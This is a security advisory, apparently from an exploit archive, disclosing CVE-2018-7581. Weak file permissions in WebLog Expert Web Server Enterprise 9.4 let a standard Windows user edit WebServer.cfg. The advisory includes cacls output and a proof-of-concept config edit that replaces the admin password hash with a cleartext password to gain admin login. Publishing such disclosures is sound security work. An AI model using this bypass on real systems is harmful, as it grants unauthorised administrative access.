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WebLog Expert Web Server Enterprise 9.4 Weak Permissions Vulnerability
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[+] Credits: John Page (aka hyp3rlinx) Vendor: ======== www.weblogexpert.com Product: ======== WebLog Expert Web Server Enterprise v9.4 WebLog Expert is a fast and powerful access log analyzer. It will give you information about your site's visitors: activity statistics, accessed files, paths through the site, information about referring pages, search engines, browsers, operating systems, and more. The program produces easy-to-read reports that include both text information (tables) and charts. Vulnerability Type: =================== Authentication Bypass CVE Reference: ============== CVE-2018-7581 Security Issue: ================ The "WebServer.cfg" under "ProgramData\WebLog Expert\WebServer\" used by WebLog Expert Web Server Enterprise 9.4 has weak permissions (BUILTIN\Users:(ID)C), which allows local users to set a cleartext password and login as admin. A standard non Windows Administrator user can edit the 'WebServer.cfg' file under "C:\ProgramData\WebLog Expert\WebServer" set to a cleartext password and login as admin. e.g. C:\ProgramData\WebLog Expert\WebServer>cacls * | more C:\ProgramData\WebLog Expert\WebServer\WebServer.cfg BUILTIN\Users:(ID)C BUILTIN\Administrators:(ID)C NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Administrators:(ID)F Exploit/POC: ============= Login as a 'Standard' Windows user Comment out the Admin hashed password using ';' then add any cleartext password as follows. [User:admin] Password=1234 ;PasswordHash=3413C538CE5234FB194E82AE1F3954FD2BC848C0 bAllProfiles=1 Now login in as Admin! :) # 0day.today [2024-12-24] #